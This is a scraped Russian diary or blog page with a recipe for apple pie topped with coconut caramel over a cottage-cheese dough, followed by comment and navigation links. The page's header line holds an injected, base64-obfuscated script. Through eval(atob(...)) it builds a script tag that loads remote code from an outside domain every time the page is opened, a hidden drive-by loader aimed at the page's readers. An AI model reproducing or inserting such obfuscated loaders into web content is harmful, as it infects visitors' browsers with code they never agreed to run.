Без заголовка. Обсуждение на <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz1kaWUiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script> |
Яблочный пирог
Очень вкусный пирог!
стружка кокосовая — 60 гр.
масло сливочное (100 гр в карамель и 50 г в тесто) — 150 гр.
сахар (150 гр в карамель и 50 гр в тесто) — 200 гр.
молоко — 4 ст. л.
творог — 150 гр.
яйцо куриное — 2 шт.
крахмал кукурузный — 50 гр.
мука пшеничная — 100 гр.
разрыхлитель теста — 1 ч. л.
яблоко — 4 шт.
Для начала варим карамель. В маленькой толстостенной кастрюле растопить сливочное масло, добавить сахар, молоко и кокосовую стружку. Варить 2-3 минуты после закипания, на маленьком огне. Остудить. Получится очень вкусная, густая масса похожая на ириску.
В чаше миксера взбить масло комнатной температуры и сахар в пышную массу, не переставая взбивать добавить по одному яйца. Вмешать творог, муку, крахмал и разрыхлитель. Тесто распределить по дну формы.
Выложить на тесто дольки очищенных яблок Покрыть кокосовой карамелью.
Выпекать 40 минут в разогретой до 180*С духовке.
Подаём пирог охлаждённым.
Приятного чаепития!
слова и фото автора
источник
Комментировать | « Пред. запись — К дневнику — След. запись » | Страницы: [1] [Новые] |